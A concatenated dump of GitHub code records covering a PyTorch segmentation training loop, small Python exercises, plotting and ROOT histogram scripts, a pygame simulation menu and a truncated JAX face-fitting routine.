customer})\n","repo_name":"mrpyrex/epytech","sub_path":"orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41442234920","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nAuthor: André Pacheco\nE-mail: pacheco.comp@gmail.com\n\nThis file implements the CNN start phase\n\"\"\"\n\nimport os\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom tqdm import tqdm\nfrom .checkpoints import load_model, save_model\nfrom .eval import metrics_for_eval\nfrom tensorboardX import SummaryWriter\nfrom source.utils import AVGMetrics, TrainHistory, jaccard_coeff, dice_coeff\nimport logging\nimport time\n\n\ndef _config_logger(save_path, file_name):\n    logger = logging.getLogger(\"Train-Logger\")\n    # Checking if the folder logs doesn't exist. If True, we must create it.\n    if not os.path.isdir(save_path):\n        os.makedirs(save_path)\n    logger_filename = os.path.join(save_path, f\"{file_name}_{str(time.time()).replace('.','')}.log\")\n    fhandler = logging.FileHandler(filename=logger_filename, mode='a')\n    formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n    fhandler.setFormatter(formatter)\n    logger.addHandler(fhandler)\n    logger.setLevel(logging.INFO)\n    return logger\n\n\ndef _train_epoch (model, optimizer, loss_fn, data_loader, c_epoch, t_epoch, device):\n\n    model.train()\n\n    print (\"Training...\")\n    # Setting tqdm to show some information on the screen\n    with tqdm(total=len(data_loader), ascii=True, desc='Epoch {}/{}: '.format(c_epoch, t_epoch), ncols=150) as t:\n\n\n        # Variables to store the avg metrics\n        loss_avg = AVGMetrics()\n        jacc_avg = AVGMetrics()\n        dice_avg = AVGMetrics()\n\n        # Getting the data from the DataLoader generator\n        for data in data_loader:\n\n            imgs_batch, mask_batch = data[0].to(device), data[1].to(device)\n            seg_pred = model(imgs_batch)\n\n            # Computing loss function\n            loss = loss_fn(seg_pred, mask_batch)\n            jacc = jaccard_coeff(torch.sigmoid(seg_pred), mask_batch)\n            dice = dice_coeff(torch.sigmoid(seg_pred), mask_batch)\n\n            # Getting the avg metrics\n            loss_avg.update(loss.item())\n            jacc_avg.update(jacc.item())\n            dice_avg.update(dice.item())\n\n            # Zero the parameters gradient\n            optimizer.zero_grad()\n\n            # Computing gradients and performing the update step\n            loss.backward()\n            optimizer.step()\n\n            # Updating tqdm\n            t.set_postfix(loss='{:05.3f}'.format(loss_avg()), jacc='{:05.3f}'.format(jacc_avg()),\n                          dice='{:05.3f}'.format(dice_avg()))\n            t.update()\n\n    return {\"loss\": loss_avg(), \"jacc\": jacc_avg(), \"dice\": dice_avg() }\n\n\ndef fit_model (model, train_data_loader, val_data_loader, optimizer=None, loss_fn=None, epochs=10,\n               epochs_early_stop=None, save_folder=None, initial_model=None, device=None, schedule_lr=None,\n               model_name=\"MyModel\", resume_train=False, history_plot=True, min_metric_early_stop=None, best_metric=\"loss\"):\n\n\n    logger = _config_logger(save_folder, model_name)\n    logger.info(\"Starting the training phase\")\n\n    if epochs_early_stop is not None:\n        logger.info('Early stopping is set using the number of epochs without improvement')\n    if min_metric_early_stop is not None:\n        logger.info('Early stopping is set using the min loss as threshold')\n    if epochs_early_stop is None and min_metric_early_stop is None:\n        logger.info('No early stopping is set')\n\n\n    if loss_fn is None:\n        logger.info('Loss: `nn.BCELoss()` was set as default')\n        loss_fn = nn.BCELoss()\n    else:\n        logger.info('Loss: {}'.format(loss_fn))\n\n    if optimizer is None:\n        logger.info('Optimizer: Adam with lr=0.001 was set as default')\n        optimizer = optim.Adam(model.parameters(), lr=0.001)\n    else:\n        logger.info('Optimizer: {}'.format(optimizer))\n\n\n    # Checking if we have a saved model. If we have, load it, otherwise, let's start the model from scratch\n    epoch_resume = 0\n    if initial_model is not None:\n        logger.info(\"Loading the saved model in {} folder\".format(initial_model))\n\n        if resume_train:\n            model, optimizer, loss_fn, epoch_resume = load_model(initial_model, model)\n            logger.info(\"Resuming the training from epoch {} ...\".format(epoch_resume))\n        else:\n            model = load_model(initial_model, model)\n\n    else:\n        logger.info(\"The model {} will be trained from scratch\".format(model_name))\n\n\n    # Setting the device(s)\n    # If GPU is available, let's move the model to there. If you have more than one, let's use them!\n    m_gpu = 0\n    if device is None:\n        if torch.cuda.is_available():\n            device = torch.device(\"cuda\")\n            # device = torch.device(\"cuda:\" + str(torch.cuda.current_device()))\n            m_gpu = torch.cuda.device_count()\n            if m_gpu > 1:\n                print (\"The training will be carry out using {} GPUs:\".format(m_gpu))\n                for g in range(m_gpu):\n                    print (torch.cuda.get_device_name(g))\n                    logger.info(torch.cuda.get_device_name(g))\n\n                model = nn.DataParallel(model)\n            else:\n                logger.info(\"The training will be carry out using 1 GPU: {}\".format(torch.cuda.get_device_name(0)))\n        else:\n            logger.info(\"The training will be carry out using CPU\")\n            device = torch.device(\"cpu\")\n    else:\n        print(\"The training will be carry out using 1 GPU:\")\n        print(torch.cuda.get_device_name(device))\n        logger.info(\"The training will be carry out using 1 GPU: {}\".format(torch.cuda.get_device_name(device)))\n\n\n    # Moving the model to the given device\n    model.to(device)\n\n    # setting a flag for the early stop\n    early_stop_count = 0\n    best_epoch = 0\n    best_metric_value = 1000 if best_metric == 'loss' else 0\n    best_flag = False\n\n    # Train history\n    history = TrainHistory()\n\n    # writer is used to generate the summary files to be loaded at tensorboard\n    writer = SummaryWriter (os.path.join(save_folder, 'summaries'))\n\n    # Let's iterate for `epoch` epochs or a tolerance.\n    # It always start from epoch resume. If it's set, it starts from the last epoch the training phase was stopped,\n    # otherwise, it starts from 0\n    epoch = epoch_resume\n    while epoch < epochs:\n\n        # Updating epoch\n        epoch += 1\n\n        # Training and getting the metrics for one epoch\n        train_metrics = _train_epoch(model, optimizer, loss_fn, train_data_loader, epoch, epochs, device)\n\n        # After each epoch, we evaluate the model for the training and validation data\n        val_metrics = metrics_for_eval(model, val_data_loader, device, loss_fn)\n\n        # Checking the schedule if applicable\n        if isinstance(schedule_lr, torch.optim.lr_scheduler.ReduceLROnPlateau):\n            schedule_lr.step(best_metric_value)\n        elif isinstance(schedule_lr, torch.optim.lr_scheduler.MultiStepLR):\n            schedule_lr.step(epoch)\n\n        # Getting the current LR\n        current_LR = None\n        for param_group in optimizer.param_groups:\n            current_LR = param_group['lr']\n\n\n        # Writing metrics for tensorboard\n        writer.add_scalars('Loss', {'val-loss': val_metrics['loss'], 'train-loss': train_metrics['loss']}, epoch)\n        writer.add_scalars('Dice', {'val-dice': val_metrics['dice'], 'train-loss': train_metrics['dice']}, epoch)\n        writer.add_scalars('Jacc', {'val-jacc': val_metrics['jacc'], 'train-jacc': train_metrics['jacc']}, epoch)\n\n        history.update(train_metrics['loss'], val_metrics['loss'],\n                       train_metrics['dice'], val_metrics['dice'],\n                       train_metrics['jacc'], val_metrics['jacc'])\n\n\n        # Getting the metrics to print on logger\n        train_print = \"-- Loss: {:.3f}\\n-- Dice: {:.3f}\\n-- Jacc: {:.3f}\".format(train_metrics[\"loss\"],\n                                                                              train_metrics[\"dice\"],\n                                                                              train_metrics[\"jacc\"])\n\n        val_print = \"-- Loss: {:.3f}\\n-- Dice: {:.3f}\\n-- Jacc: {:.3f}\".format(val_metrics[\"loss\"],\n                                                                            val_metrics[\"dice\"],\n                                                                            val_metrics[\"jacc\"])\n\n        early_stop_count += 1\n        new_best_print = None\n        # Defining the best metric for validation\n        if best_metric == 'loss':\n            if val_metrics[best_metric] <= best_metric_value:\n                best_metric_value = val_metrics[best_metric]\n                new_best_print = '-- New best {}: {:.3f}'.format(best_metric, best_metric_value)\n                best_flag = True\n                best_epoch = epoch\n                early_stop_count = 0\n        else:\n            if val_metrics[best_metric] >= best_metric_value:\n                best_metric_value = val_metrics[best_metric]\n                new_best_print = '-- New best {}: {:.3f}'.format(best_metric, best_metric_value)\n                best_flag = True\n                best_epoch = epoch\n                early_stop_count = 0\n\n        # Check if it's the best model in order to save it\n        if save_folder is not None:\n            print ('- Saving the model...')\n            save_model(model, save_folder, epoch, optimizer, loss_fn, best_flag, multi_gpu=m_gpu > 1)\n        \n        best_flag = False\n\n        # Updating the logger\n        msg = \"Metrics for epoch {} out of {}\\n\".format(epoch, epochs)\n        msg += \"- Train\\n\"\n        msg += train_print + \"\\n\"\n        msg += \"\\n- Validation\\n\"\n        msg += val_print + \"\\n\"\n        msg += \"\\n- Training info\"\n        msg += \"\\n-- Early stopping counting: {} max to stop is {}\".format(early_stop_count, epochs_early_stop)\n        msg += \"\\n-- Current LR: {}\".format(current_LR)\n        if new_best_print is not None:\n            msg += new_best_print\n        msg += \"\\n-- Best {} so far: {:.3f} on epoch {}\".format(best_metric, best_metric_value, best_epoch)\n\n\n        # Checking the early stop\n        if epochs_early_stop is not None:\n            if early_stop_count >= epochs_early_stop:\n                logger.info(msg)\n                logger.info(\"The early stop trigger was activated. The validation {} \" .format(best_metric) +\n                            \"{:.3f} did not improved for {} epochs.\".format(best_metric_value,\n                                                                            epochs_early_stop) +\n                            \"The training phase was stopped.\")\n\n                break\n\n        # Checking the early stop\n        if min_metric_early_stop is not None:\n            stop = False\n            if best_metric == 'loss':\n                if min_metric_early_stop >= best_metric_value:\n                    stop = True\n            else:\n                if min_metric_early_stop <= best_metric_value:\n                    stop = True\n\n            if stop:\n                logger.info(msg)\n                logger.info(\"The early stop trigger was activated. The validation {} \".format(best_metric) +\n                            \"{:.3f} achieved the defined threshold {:.3f}.\".format(best_metric_value,\n                                                                            min_metric_early_stop) +\n                            \"The training phase was stopped.\")\n                break\n\n        # Sending all message to the logger\n        logger.info(msg)\n\n    if history_plot:\n        history.save_plot(save_folder)\n\n    history.save(save_folder)\n    print('\\n')\n\n    writer.close()\n\n\n\n\n\n\n\n","repo_name":"paaatcha/icassp21-segmentation","sub_path":"source/pipeline/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":11632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"28993506718","text":"alphabet = {'a':1, 'b':2, 'c':3, 'd':4, 'e':5, 'f':6, 'g':7, 'h':8, 'i':9, 'j':10, 'k':11, 'l':12, 'm':13, 'n':14, 'o':15, 'p':16, 'q':17, 'r':18, 's':19, 't':20, 'u':21, 'v':22, 'w':23, 'x':24, 'y':25, 'z':26}\nnames = open(\"names.txt\", \"r\")\nnames = names.readline()\nnames = names.replace('\"', \"\")\nnames = names.split(\",\")\nnames = sorted(names)\n\ndef value(name):\n    value = 0\n    for char in list(name): #for each character in name\n        value += alphabet[char.lower()]\n    return value\n\nposition = 0\ntotal = 0\n\nfor name in names: #for each name\n    position += 1\n    score = value(name)*position\n\n    total += score\n\n\nprint(total)\n","repo_name":"harryboulton1/ProjectEuler-Solutions---Harry-Boulton","sub_path":"22.py","file_name":"22.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4565401519","text":"import pandas as pd\r\nimport seaborn as sns\r\nfrom typing import Any\r\nfrom .template import Processor, Settings\r\n\r\n\r\nclass PlotContigEnrichment(Processor):\r\n\r\n    enrichment_csv: str\r\n\r\n    df: pd.DataFrame\r\n    ax: Any\r\n\r\n    def __init__(self, settings: Settings):\r\n        super().__init__(settings=settings)\r\n\r\n    def main(self, enrichment_csv: str):\r\n        self.enrichment_csv = enrichment_csv\r\n\r\n        self.read_data()\r\n        self.add_assembly_column()\r\n        self.stripplot()\r\n        self.config_and_save_fig()\r\n\r\n    def read_data(self):\r\n        data = pd.read_csv(self.enrichment_csv, header=0)\r\n        self.df = pd.DataFrame(data)\r\n\r\n    def add_assembly_column(self):\r\n        self.df['assembly'] = ''\r\n        for i in range(len(self.df)):\r\n            contig_id = self.df.loc[i, 'contig_id']\r\n            assembly = contig_id.split('assembly=')[1].split(';')[0] + '_contigs'\r\n            self.df.loc[i, 'assembly'] = assembly\r\n\r\n    def stripplot(self):\r\n        self.ax = sns.stripplot(\r\n            data=self.df,\r\n            x=self.df['assembly'],\r\n            y=self.df['enrichment'],\r\n            order=['control_contigs', 'case_contigs'],\r\n            jitter=True,\r\n            alpha=0.5\r\n        )\r\n\r\n    def config_and_save_fig(self):\r\n        self.ax.set_ylabel('Enrichment')\r\n        self.ax.set_yscale('log')\r\n        self.ax.set_ylim((0.0001, 10000))\r\n        fig = self.ax.get_figure()\r\n        fig.set_size_inches(w=5, h=5)\r\n        fig.savefig(f'{self.outdir}/contig_enrichment.png', format='png', dpi=600)\r\n","repo_name":"linyc74/MetaGPA","sub_path":"MetaGPA/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"35818426679","text":"import ROOT\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# Αντικαταστήστε τα ακόλουθα μονοπάτια με τα δικά σας αρχεία\nroot_file_path1 = '0.913MeV_10^9_TiT_f=1_thin.root'\nroot_file_path2 = '0.913MeV_10^8_TiT_f=10_thin.root'\nroot_file_path3 = '0.913MeV_10^7_TiT_f=100_thin.root'\nroot_file_path4 = '0.913MeV_10^6_TiT_f=1000_thin.root'\nroot_file_path5 = '0.913MeV_10^5_TiT_f=10000_thin.root'\n\ntry:\n    # Διάβασμα των 1D ιστογραμμάτων από τα αρχεία ROOT\n    file1 = ROOT.TFile(root_file_path1)\n    file2 = ROOT.TFile(root_file_path2)\n    file3 = ROOT.TFile(root_file_path3)\n    file4 = ROOT.TFile(root_file_path4)\n    file5 = ROOT.TFile(root_file_path5)\n\n    hist1 = file1.Get(\"Histo4\")\n    hist2 = file2.Get(\"Histo4\")\n    hist3 = file3.Get(\"Histo4\")\n    hist4 = file4.Get(\"Histo4\")\n    hist5 = file5.Get(\"Histo4\")\n    \n    \n    # Rebin:\n    hist1.Rebin(128)\n    hist2.Rebin(128)\n    hist3.Rebin(128)\n    hist4.Rebin(128)\n    hist5.Rebin(128)\n\n    energies1 = [hist1.GetBinCenter(i) for i in range(1, hist1.GetNbinsX() + 1)]\n    energies2 = [hist2.GetBinCenter(i) for i in range(1, hist2.GetNbinsX() + 1)]\n    energies3 = [hist3.GetBinCenter(i) for i in range(1, hist3.GetNbinsX() + 1)]\n    energies4 = [hist4.GetBinCenter(i) for i in range(1, hist4.GetNbinsX() + 1)]\n    energies5 = [hist5.GetBinCenter(i) for i in range(1, hist5.GetNbinsX() + 1)]\n\n    counts1 = [hist1.GetBinContent(i) for i in range(1, hist1.GetNbinsX() + 1)]\n    counts2 = [hist2.GetBinContent(i) for i in range(1, hist2.GetNbinsX() + 1)]\n    counts3 = [hist3.GetBinContent(i) for i in range(1, hist3.GetNbinsX() + 1)]\n    counts4 = [hist4.GetBinContent(i) for i in range(1, hist4.GetNbinsX() + 1)]\n    counts5 = [hist5.GetBinContent(i) for i in range(1, hist5.GetNbinsX() + 1)]\n\n    # Δημιουργία των κατάλληλων bins για τα ιστογράμματα\n    bin_edges1 = np.linspace(min(energies1), max(energies1), len(energies1) + 1)\n    bin_edges2 = np.linspace(min(energies2), max(energies2), len(energies2) + 1)\n    bin_edges3 = np.linspace(min(energies3), max(energies3), len(energies3) + 1)\n    bin_edges4 = np.linspace(min(energies4), max(energies4), len(energies4) + 1)\n    bin_edges5 = np.linspace(min(energies5), max(energies5), len(energies5) + 1)\n\n    # Δημιουργία του καμβά\n    plt.figure(figsize=(15.2, 4.75))\n    plt.subplot(1, 2, 1)\n    plt.bar(energies1, counts1, width=np.diff(bin_edges1), align='edge',color=\"blue\", edgecolor=\"black\", alpha=0.40, label=\"Γεγονότα: 36264\")\n    plt.title(r\"TiT, $E_{d}=0.91MeV$, $N_{d}=10^9$, $f_b=1$\", fontsize=22)\n    plt.xlabel(\"Βάθος στόχου [μm]\", fontsize=22)\n    plt.ylabel(\"Γεγονότα\", fontsize=22)\n    plt.legend(fontsize=22, handlelength=0)\n    plt.xlim(0, 5)\n    plt.ylim(bottom=0)\n    plt.xticks(fontsize=18)\n    plt.yticks(fontsize=18)\n    plt.grid(True)\n\n    plt.subplot(1, 2, 2)\n    plt.bar(energies2, counts2, width=np.diff(bin_edges2), align='edge',color=\"blue\", edgecolor=\"black\", alpha=0.40, label=\"Γεγονότα: 36473\")\n    plt.title(r\"TiT, $E_{d}=0.91MeV$, $N_{d}=10^8$, $f_b=10$\", fontsize=22)\n    plt.xlabel(\"Βάθος στόχου [μm]\", fontsize=22)\n    plt.ylabel(\"Γεγονότα\", fontsize=22)\n    plt.legend(fontsize=22, handlelength=0)\n    plt.xlim(0, 5)\n    plt.ylim(bottom=0)\n    plt.xticks(fontsize=18)\n    plt.yticks(fontsize=18)\n    plt.grid(True)\n    \n    plt.tight_layout()\n    plt.show()\n    #--------------------------------------------------------------------------------\n    \n    plt.figure(figsize=(15.2, 4.75))\n    plt.subplot(1, 2, 1)\n    plt.bar(energies3, counts3, width=np.diff(bin_edges3), align='edge',color=\"blue\", edgecolor=\"black\", alpha=0.40, label=\"Γεγονότα: 36194\")\n    plt.title(r\"TiT, $E_{d}=0.91MeV$, $N_{d}=10^7$, $f_b=100$\", fontsize=22)\n    plt.xlabel(\"Βάθος στόχου [μm]\", fontsize=22)\n    plt.ylabel(\"Γεγονότα\", fontsize=22)\n    plt.legend(fontsize=22, handlelength=0)\n    plt.xlim(0, 5)\n    plt.ylim(bottom=0)\n    plt.xticks(fontsize=18)\n    plt.yticks(fontsize=18)\n    plt.grid(True)\n\n    plt.subplot(1, 2, 2)\n    plt.bar(energies4, counts4, width=np.diff(bin_edges4), align='edge',color=\"blue\", edgecolor=\"black\", alpha=0.40, label=\"Γεγονότα: 34318\")\n    plt.title(r\"TiT, $E_{d}=0.91MeV$, $N_{d}=10^6$, $f_b=1000$\", fontsize=22)\n    plt.xlabel(\"Βάθος στόχου [μm]\", fontsize=22)\n    plt.ylabel(\"Γεγονότα\", fontsize=22)\n    plt.legend(fontsize=22, handlelength=0)\n    plt.xlim(0, 5)\n    plt.ylim(bottom=0)\n    plt.xticks(fontsize=18)\n    plt.yticks(fontsize=18)\n    plt.grid(True)\n\n    plt.tight_layout()\n    plt.show()\n    #----------------------------------------------------------------------------------\n    \n    # ΓΙΑ ΤΟΥΣ ΕΞΤΡΑ BIASING:\n    # Δημιουργία του καμβά\n    plt.figure(figsize=(15.2, 4.75))\n    plt.subplot(1, 2, 1)\n    plt.bar(energies5, counts5, width=np.diff(bin_edges5), align='edge',color=\"blue\", edgecolor=\"black\", alpha=0.40, label=\"Γεγονότα: 21536\")\n    plt.title(r\"TiT, $E_{d}=0.91MeV$, $N_{d}=10^5$, $f_b=10000$\", fontsize=22)\n    plt.xlabel(\"Βάθος στόχου [μm]\", fontsize=22)\n    plt.ylabel(\"Γεγονότα\", fontsize=22)\n    plt.legend(fontsize=22, handlelength=0)\n    plt.xlim(0, 5)\n    plt.ylim(bottom=0)  # Ορίζουμε τον κατακόρυφο άξονα να ξεκινά από το 0.\n    plt.xticks(fontsize=18)\n    plt.yticks(fontsize=18)\n    plt.grid(True)\n    \n\n   \n    plt.tight_layout()\n    plt.show()\n    \n    #RATIOS OF THE REGIONS A AND B:\n    ratio_hist1 = hist1.Integral(0,7)   / hist1.Integral(8,15)\n    ratio_hist2 = hist2.Integral(0,7)   / hist2.Integral(8,15)\n    ratio_hist3 = hist3.Integral(0,14)  / hist3.Integral(15,22)\n    ratio_hist4 = hist4.Integral(0,14)  / hist4.Integral(15,22)\n    \n    print(ratio_hist1)\n    print(ratio_hist2)\n    print(ratio_hist3)\n    print(ratio_hist4)\n    \nexcept Exception as e:\n    print(f'Προέκυψε σφάλμα: {e}')\n","repo_name":"Giannistsrb/geant4_thesis","sub_path":"DataScripts/neugen.py","file_name":"neugen.py","file_ext":"py","file_size_in_byte":6071,"program_lang":"python","lang":"el","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40504815561","text":"# Ler números, criar lista. Quantos foram digitados, Valores em ordem decrescente e se 5 está na lista\nlista, pos5 = [], []\nc = 0\n\nwhile True:\n    lista.append(int(input(f\"Digite o {c+1}º valor: \")))\n\n    while True:\n        resposta = input(\"Deseja continuar? \")\n        if resposta in 'SsNn':\n            break\n    if resposta in 'Nn':\n        break\n    else:\n        c += 1\n\nprint(f\"Você digitou {len(lista)} valores\")\nprint(f\"Valores em ordem decrescente: {sorted(lista, reverse=True)}\")\nif 5 in lista:\n    print(f\"O valor 5 faz parte da lista nas posições\")\nelse:\n    print(\"O valor 5 não faz parte da lista\")\n","repo_name":"Luan-Vn4/CursoPython","sub_path":"PythonMundo3/Ex081.py","file_name":"Ex081.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5039032423","text":"import pygame\nimport sys\nimport os\nfrom input_rect import InputRect\nfrom button import Button\nfrom world_screen import WorldScreen\n\n\nclass Menu:\n    MENU_FONT = pygame.font.Font(None, 32)\n    BACKGROUND = pygame.image.load(os.path.join('images/', 'background.png'))\n    WIDTH, HEIGHT = 720, 720\n\n    def __init__(self):\n        self.screen = pygame.display.set_mode([self.WIDTH, self.HEIGHT])\n        pygame.display.set_caption('Wirtualny Swiat')\n        self.width_input = None\n        self.height_input = None\n        self.load_button = None\n        self.button = None\n        self.load_label = None\n        self.load_file = \"test.txt\"\n\n    def draw_menu(self):\n        self.width_input = InputRect(32, (self.WIDTH / 2 - 70, 200, 300, 32), \"20\")\n        self.height_input = InputRect(32, (self.WIDTH / 2 - 70, 300, 300, 32), \"20\")\n        self.button = Button((self.WIDTH / 2 - 97, 380, 150, 50), (0, 0, 0), \"NOWA GRA\", 36)\n        self.load_button = Button((self.WIDTH / 2 - 97, 450, 150, 50), (0, 0, 0), \"  WCZYTAJ\", 36)\n        self.get_events()\n\n    def draw_size_input_labels(self):\n        self.height_input.draw_title_label(self.screen, \"Podaj wysokosc planszy:\", (0, 0, 0),\n                                           pygame.font.Font(None, 25),\n                                           (self.height_input.input_rect.x - 50, self.height_input.input_rect.y - 30))\n        self.width_input.draw_title_label(self.screen, \"Podaj szerokosc planszy:\", (0, 0, 0),\n                                          pygame.font.Font(None, 25),\n                                          (self.width_input.input_rect.x - 50, self.width_input.input_rect.y - 30))\n\n    def draw_file_input_labels(self):\n        self.load_label.draw_title_label(self.screen, \"Podaj nazwe pliku i zatwierdz przyciskiem 'ENTER'\",\n                                         (0, 0, 0), pygame.font.Font(None, 30),  (self.load_label.input_rect.x - 200, self.load_label.input_rect.y - 50))\n\n\n    def update_world_size_input_hover(self):\n        if self.width_input.is_active:\n            self.width_input.color = self.width_input.color_active\n        else:\n            self.width_input.color = self.width_input.color_passive\n        if self.height_input.is_active:\n            self.height_input.color = self.height_input.color_active\n        else:\n            self.height_input.color = self.height_input.color_passive\n\n    def update_file_input_hover(self):\n        self.load_file = self.load_label.user_text\n        if self.load_label.is_active:\n            self.load_label.color = self.load_label.color_active\n        else:\n            self.load_label.color = self.load_label.color_passive\n\n    def start_simulation(self):\n        self.screen.fill((127, 127, 127))\n        world = WorldScreen(int(self.width_input.user_text), int(self.height_input.user_text), self.screen)\n        world.add_organisms()\n        world.get_events()\n\n    def load_simulation(self):\n        self.screen.fill((127, 127, 127))\n        with open(self.load_file, mode=\"r\") as file:\n            simulation_info = file.readline()\n            simulation_info = simulation_info.split(\";\")\n            simulation_info = simulation_info[:6]\n            print(simulation_info)\n            world = WorldScreen(int(simulation_info[0]), int(simulation_info[1]), self.screen)\n            world.round_number = int(simulation_info[2])\n            world.is_human_alive = bool(int(simulation_info[3]))\n            world.is_human_ability_active = bool(int(simulation_info[4]))\n            world.cooldown = int(simulation_info[5])\n            print(world.is_human_alive)\n\n            for line in file:\n                line = line.split(\";\")\n                line = line[:5]\n                world.load_organism(line[0], int(line[1]), int(line[2]), int(line[3]), int(line[4]))\n\n        world.get_events()\n\n    def show_error_label(self):\n        red_color = (255, 0, 0)\n        text_surface = self.MENU_FONT.render(\"Wprowadz prawidlowe dane!\", True, (255, 0, 0))\n        self.screen.blit(text_surface, (self.button.surface.x - 100, self.button.surface.y - 50))\n\n    def is_valid_world_size_input(self):\n        try:\n            int(self.width_input.user_text)\n            int(self.height_input.user_text)\n            if not 2 <= int(self.width_input.user_text) <= 30 or not 2 <= int(self.height_input.user_text) <= 30:\n                return False\n            else:\n                return True\n        except:\n            return False\n        \n    def is_valid_load_file_input(self):\n        if os.path.exists(self.load_file):\n            return True\n        return False\n    \n    def show_load_label(self):\n        self.load_label = InputRect(40, (500 / 2 + 50, 300, 500, 40), \"test.txt\")\n        self.load_label.is_active = True\n\n    def get_events(self):\n        clock = pygame.time.Clock()\n\n        while True:\n            for event in pygame.event.get():\n\n                if event.type == pygame.QUIT:\n                    pygame.quit()\n                    sys.exit()\n\n                if event.type == pygame.MOUSEBUTTONDOWN:\n                    if self.width_input.input_rect.collidepoint(event.pos):\n                        self.width_input.is_active = True\n                    else:\n                        self.width_input.is_active = False\n\n                    if self.height_input.input_rect.collidepoint(event.pos):\n                        self.height_input.is_active = True\n                    else:\n                        self.height_input.is_active = False\n\n                    if self.load_button.surface.collidepoint(event.pos):\n                        self.show_load_label()\n\n                    if self.button.surface.collidepoint(event.pos):\n                        if self.is_valid_world_size_input():\n                            self.start_simulation()\n\n                if event.type == pygame.KEYDOWN:\n                    if self.height_input.is_active:\n                        if event.key == pygame.K_BACKSPACE:\n                            self.height_input.user_text = self.height_input.user_text[:-1]\n                        else:\n                            self.height_input.user_text += event.unicode\n                    elif self.width_input.is_active:\n                        if event.key == pygame.K_BACKSPACE:\n                            self.width_input.user_text = self.width_input.user_text[:-1]\n                        else:\n                            self.width_input.user_text += event.unicode\n                    elif self.load_label.is_active:\n                        if event.key == pygame.K_BACKSPACE:\n                            self.load_label.user_text = self.load_label.user_text[:-1]\n                        elif event.key == pygame.K_RETURN:\n                            if self.is_valid_load_file_input():\n                                print(\"ladujemy swiat\")\n                                self.load_simulation()\n\n                        else:\n                            self.load_label.user_text += event.unicode\n\n            self.screen.fill((255, 255, 255))\n            self.screen.blit(self.BACKGROUND, (0, 0))\n            self.draw_size_input_labels()\n            self.button.draw_button(self.screen)\n            self.load_button.draw_button(self.screen)\n            if not self.is_valid_world_size_input():\n                self.show_error_label()\n\n            self.update_world_size_input_hover()\n\n            self.height_input.draw(self.screen)\n            self.width_input.draw(self.screen)\n\n            if self.load_label:\n                self.screen.fill((127, 127, 127))\n                self.draw_file_input_labels()\n                self.load_label.draw(self.screen)\n                self.update_file_input_hover()\n            if self.load_label and not self.is_valid_load_file_input():\n\n                self.show_error_label()\n            pygame.display.flip()\n            clock.tick(60)\n\n\n\n\n\n","repo_name":"SasukeKamo/PROJECTS","sub_path":"Virtual World Simulation Python/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":7881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21335555570","text":"from functools import partial\nimport numpy as np\nimport cv2\nimport os\nimport sys\nimport time\nimport pickle\nfrom scipy.optimize import least_squares, minimize, Bounds, curve_fit\nfrom lmfit import Parameters, fit_report, minimize\n\nfrom common.meshes import Model\nfrom common.face_model import ICTFaceModel68\n\nimport jax\nfrom jax.config import config\n#config.update(\"jax_debug_nans\", True) \nconfig.update(\"jax_enable_x64\", True)\n#os.environ['JAX_PLATFORMS']='cpu'\n\nimport jax.dlpack as jdlp\n\nfrom jax import jit\nimport jax.experimental.host_callback as hcb\nimport jax.numpy as jnp\nfrom jaxopt.linear_solve import solve_cg\n\nfrom jaxopt import LevenbergMarquardt, LBFGS, ScipyBoundedMinimize, ScipyBoundedLeastSquares, ScipyLeastSquares\n\n#@partial(jax.jit, static_argnames=['neutral', 'bs_arr'])\n\n\ndef unpack(params):\n    measured_points = params[0:68,0:2]\n    rmat = params[68:68+3,:]\n    tvec = params[68+3]\n    return measured_points,rmat,tvec\n\n\ndef project_points(points, rmat, tvec, cmat):\n    transformed = (points@rmat.T + tvec)@cmat.T\n    projected = jnp.divide(transformed[:,:2], transformed[:,2:])\n    return projected\n\ndef ortho_proj(points, rmat, tvec, cmat):\n    scale = jnp.divide(cmat[0][0], tvec[2])\n    c_x = cmat[0][2]\n    c_y = cmat[1][2]\n    t_x = c_x + tvec[0]*scale\n    t_y = c_y + tvec[1]*scale\n    translation = jnp.array([t_x, t_y, 0])\n    projected = ((points*scale).dot(rmat.T) + translation)[:,2]\n    return projected\n\n\n#def residuals(w, measured_points, rmat, tvec, cmat, neutral, bs_arr):\n@jax.jit\ndef residuals(w, non_fit_params, cmat, former_w, neutral, bs_arr, b_fit, b_prior, b_sparse):\n    measured_points, rmat, tvec = unpack(non_fit_params)\n\n    tvec_flat = tvec.flatten()\n    \n    #scale = jnp.divide(cmat[0][0], tvec_flat[2])\n\n    sparse_weighted = neutral+(bs_arr.T@w.reshape(-1)).T\n    \n    #e_fit =(project_points(sparse_weighted, rmat, tvec_flat, cmat)/scale) - (measured_points/scale) # face it\n    e_fit = project_points(sparse_weighted, rmat, tvec_flat, cmat) - measured_points # face it\n\n    #hcb.id_print(e_fit)\n\n    a=1.002\n    b=2e-5\n    #c=2.47\n    c=2.47\n    d=0.0002\n\n    e_prior = (c/jnp.pi)*( jnp.arctan((w-a)/b)-jnp.arctan((w-a+1)/b) )+c+d # face it\n\n    #e_prior = jnp.linalg.norm( ( jnp.arctan((w-a)/b)-jnp.arctan((w-a+1)/b) )+4*jnp.pi+c, ord=1)\n    #prior = 4*( jnp.arctan((w.astype(jnp.float64).at[0]-a)/b)-jnp.arctan((w.astype(jnp.float64).at[0]-a+1)/b) )+4*jnp.pi+c\n    